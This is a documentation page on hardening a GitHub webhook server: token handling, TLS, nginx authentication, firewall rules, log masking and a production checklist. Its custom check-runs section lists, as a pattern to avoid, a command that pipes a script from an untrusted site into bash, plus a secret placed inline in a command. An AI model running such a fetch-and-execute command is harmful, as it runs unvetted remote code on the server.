Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/myk-org/github-webhook-server/llms.txt

Use this file to discover all available pages before exploring further.

The GitHub Webhook Server implements multiple layers of security to protect your webhook processing infrastructure, GitHub tokens, and sensitive data.

Security Architecture

The webhook server follows a defense-in-depth approach with multiple security layers:
Internet → GitHub Webhooks → [Webhook Server] ← Internal Network ← Log Viewer Access

                            [Authenticated Endpoints]

                            [Unauthenticated Log Viewer]

                            [Network-Level Protection]

Core Security Components

  1. Webhook Authentication - HMAC-SHA256 signature verification
  2. IP Allowlisting - Restrict access to GitHub and Cloudflare IP ranges
  3. Token Security - Multiple token support with automatic rotation
  4. Network Isolation - Deploy critical endpoints behind VPN or reverse proxy
  5. SSL/TLS - Encrypted communication with GitHub API

Token Security Best Practices

Token Storage

Never commit tokens to version control. Use one of these secure methods:
  1. Environment Variables (Recommended for containers):
    # In docker-compose.yaml
    environment:
      - WEBHOOK_SECRET=your-webhook-secret
    
  2. External Secret Management:
    # Kubernetes example
    valueFrom:
      secretKeyRef:
        name: webhook-secret
        key: secret
    
  3. Configuration File (secure file permissions):
    # config.yaml - ensure 0600 permissions
    github-tokens:
      - ghp_your_github_token
    webhook-secret: "your-secure-secret" # pragma: allowlist secret
    

Token Permissions

Use fine-grained personal access tokens when possible:
  • Repository permissions:
    • Contents: Read & Write
    • Issues: Read & Write
    • Pull requests: Read & Write
    • Checks: Read & Write
    • Metadata: Read
    • Administration: Read & Write (for branch protection)
  • Organization permissions:
    • Members: Read (for OWNERS validation)

Token Rotation Strategy

Implement automatic failover with multiple tokens:
# Global token configuration
github-tokens:
  - ghp_token_1
  - ghp_token_2
  - ghp_token_3

repositories:
  my-project:
    # Override with repository-specific tokens
    github-tokens:
      - ghp_repo_specific_token
Benefits:
  • Automatic failover when rate limits are reached
  • Zero downtime during token rotation
  • Distribute API quota across multiple tokens

Token Monitoring

Monitor token usage in structured logs:
{
  "token_spend": 3,
  "rate_limit_remaining": 4997
}
Set up alerts when rate limits are low:
# Alert when rate limit drops below 1000
jq 'select(.rate_limit_remaining < 1000)' logs/webhooks_*.json

SSL/TLS Configuration

Production Settings

# config.yaml
disable-ssl-warnings: true  # Reduce log noise in production
TLS best practices:
  • Deploy behind reverse proxy with TLS termination
  • Use valid SSL certificates (Let’s Encrypt, commercial CA)
  • Enable HSTS headers in reverse proxy
  • Disable TLS 1.0/1.1, enforce TLS 1.2+

Development Settings

# config.yaml
disable-ssl-warnings: false  # Keep SSL warnings in development

Network-Level Security

Reverse Proxy with Authentication

nginx example with HTTP Basic Auth:
# /etc/nginx/sites-available/webhook-server
server {
    listen 443 ssl http2;
    server_name webhook.example.com;

    ssl_certificate /etc/letsencrypt/live/webhook.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/webhook.example.com/privkey.pem;

    # Webhook endpoint - public access (GitHub webhooks)
    location /webhook_server {
        proxy_pass http://localhost:5000;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    # Log viewer - requires authentication
    location /logs {
        auth_basic "Webhook Logs";
        auth_basic_user_file /etc/nginx/.htpasswd;
        proxy_pass http://localhost:5000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";  # WebSocket support
    }

    # MCP endpoints - requires authentication
    location /mcp {
        auth_basic "MCP API";
        auth_basic_user_file /etc/nginx/.htpasswd;
        proxy_pass http://localhost:5000;
    }
}
Create password file:
sudo htpasswd -c /etc/nginx/.htpasswd admin

Firewall Rules

Restrict access to webhook server port:
# iptables example - allow only GitHub IP ranges
sudo iptables -A INPUT -p tcp --dport 5000 -s 192.30.252.0/22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5000 -s 185.199.108.0/22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5000 -s 140.82.112.0/20 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5000 -j DROP
Cloudflare Zero Trust:
# cloudflared tunnel example
cloudflared tunnel --url http://localhost:5000

VPN Access

Deploy log viewer endpoints only on VPN:
  1. WireGuard VPN - Modern, secure VPN solution
  2. OpenVPN - Traditional VPN with broad compatibility
  3. Tailscale - Zero-config mesh VPN

Network Segmentation

Isolate webhook server in dedicated network segment:
┌─────────────────────────────────────┐
│   DMZ - Public-Facing Services      │
│   ┌─────────────────────────────┐   │
│   │  Reverse Proxy (nginx)      │   │
│   │  - TLS termination          │   │
│   │  - Rate limiting            │   │
│   └─────────────┬───────────────┘   │
└─────────────────┼───────────────────┘

┌─────────────────┼───────────────────┐
│   Internal Network                  │
│   ┌─────────────┴───────────────┐   │
│   │  Webhook Server             │   │
│   │  - Process webhooks         │   │
│   │  - Log viewer (internal)    │   │
│   └─────────────────────────────┘   │
└─────────────────────────────────────┘

Sensitive Data Protection

Log Masking

Always enable in production:
# config.yaml - Global setting
mask-sensitive-data: true  # Default: true

# Repository-specific override (NOT recommended in production)
repositories:
  my-repository:
    mask-sensitive-data: false  # Only for debugging
What gets masked:
  • GitHub personal access tokens (ghp_*, github_pat_*)
  • Webhook secrets
  • Container registry passwords
  • PyPI tokens
  • API keys in environment variables

Custom Check Runs Security

The custom-check-runs feature executes user-defined commands on the server during PR events. This is a powerful capability that requires careful security consideration.
Risks:
  • Commands run with the webhook server’s system permissions
  • Commands execute in the cloned repository worktree
  • Malicious or misconfigured commands could compromise server security
  • Environment variables in commands may expose sensitive data in logs
Security Recommendations:
  1. Review all commands carefully - Only configure commands from trusted sources
  2. Principle of least privilege - Run the webhook server with minimal required permissions
  3. Audit configurations - Regularly review custom-check-runs in configuration files
  4. Restrict configuration access - Limit who can modify config.yaml and .github-webhook-server.yaml
  5. Monitor execution logs - Watch for unexpected command behavior or failures
  6. Avoid sensitive data in commands - Do not embed secrets directly in command strings
Secure configuration example:
custom-check-runs:
  - name: lint
    command: uv tool run --from ruff ruff check  # Uses trusted, pinned tool
    mandatory: true
  - name: type-check
    command: uv run mypy .  # Runs in isolated environment
    mandatory: false
Dangerous patterns to avoid:
# ❌ DANGEROUS: Never do this
custom-check-runs:
  - name: risky-check
    command: curl https://untrusted-site.com/script.sh | bash  # Never pipe to shell
  - name: secret-exposure
    command: API_KEY=secret123 some-command  # Secrets visible in logs

Security Best Practices

1. Log Viewer Access Control

The log viewer endpoints (/logs/*) and MCP endpoints (/mcp/*) are NOT PROTECTED by authentication. They expose potentially sensitive webhook data and should NEVER be exposed outside your local network or trusted environment.
Required security measures:
  • ✅ Deploy behind reverse proxy with authentication
  • ✅ Use firewall rules to restrict access to trusted IP ranges only
  • ✅ Never expose log viewer ports directly to the internet
  • ✅ Monitor access to log endpoints in infrastructure logs
  • ✅ Consider VPN-only access for maximum security
Data exposure risk: Log files may contain:
  • GitHub personal access tokens
  • User information and webhook payloads
  • Repository details and sensitive data
  • Internal system information

2. Container Security

Run as non-privileged user when possible:
# docker-compose.yaml
services:
  github-webhook-server:
    image: ghcr.io/myk-org/github-webhook-server:latest
    user: "1000:1000"  # Non-root user
    # privileged: true only if building containers

3. Secrets Management

Use external secret management systems:
  • HashiCorp Vault - Enterprise secret management
  • AWS Secrets Manager - Cloud-native secrets
  • Kubernetes Secrets - Container orchestration secrets
  • GitHub Secrets - For GitHub Actions integration

4. Comprehensive Logging

Enable detailed logging for security monitoring:
log-level: INFO  # Set to DEBUG only for troubleshooting
log-file: webhook-server.log
mcp-log-file: mcp_server.log
logs-server-log-file: logs_server.log

5. Regular Updates

Keep webhook server updated:
# Pull latest stable release
podman pull ghcr.io/myk-org/github-webhook-server:latest

# Check for updates
podman images | grep github-webhook-server

6. Security Monitoring

Monitor for security events:
# Failed webhook signatures
grep "signatures didn't match" webhook-server.log

# Unauthorized IP access attempts
grep "IP not in allowlist" webhook-server.log

# Rate limit abuse
grep "rate limit exceeded" webhook-server.log

Environment Variables

Security-related environment variables:
VariableDescriptionDefaultSecurity Impact
WEBHOOK_SECRETGitHub webhook secret-HIGH - Required for signature verification
VERIFY_GITHUB_IPSVerify GitHub IP addressesfalseHIGH - Enable for production
VERIFY_CLOUDFLARE_IPSVerify Cloudflare IP addressesfalseMEDIUM - Enable if using Cloudflare
ENABLE_LOG_SERVEREnable log viewer endpointsfalseCRITICAL - Never enable on public networks
ENABLE_MCP_SERVEREnable MCP server endpointsfalseCRITICAL - Never enable on public networks

Compliance and Auditing

Audit Trail

Structured webhook logs provide complete audit trail:
{
  "hook_id": "abc123-def456",
  "event_type": "pull_request",
  "sender": "username",
  "repository": "org/repo",
  "started_at": "2025-01-30T10:30:00.123456",
  "success": true,
  "workflow_steps": [...]
}

Data Retention

Implement log rotation and retention policies:
# logrotate configuration
/path/to/webhook-server.log {
    daily
    rotate 90
    compress
    delaycompress
    notifempty
    create 0640 webhook webhook
}

Compliance Frameworks

SOC 2 Considerations:
  • Access control (reverse proxy authentication)
  • Audit logging (structured webhook logs)
  • Data encryption (TLS/SSL)
  • Incident response (monitoring and alerting)
GDPR Considerations:
  • Data minimization (configure only necessary webhooks)
  • Right to erasure (log retention policies)
  • Data security (encryption, access control)

Security Checklist

Before deploying to production:
  • Enable webhook signature verification (WEBHOOK_SECRET)
  • Enable IP allowlist verification (VERIFY_GITHUB_IPS=true)
  • Enable sensitive data masking (mask-sensitive-data: true)
  • Deploy log viewer behind authentication (nginx, VPN)
  • Configure TLS/SSL with valid certificates
  • Implement firewall rules for webhook server
  • Use external secret management for tokens
  • Enable comprehensive logging (log-level: INFO)
  • Set up monitoring and alerting
  • Implement log rotation and retention
  • Review custom check runs security
  • Test disaster recovery procedures
  • Document security procedures

Next Steps

Webhook Verification

Learn about IP allowlisting and HMAC signature verification

Log Viewer Security

Secure the unauthenticated log viewer endpoints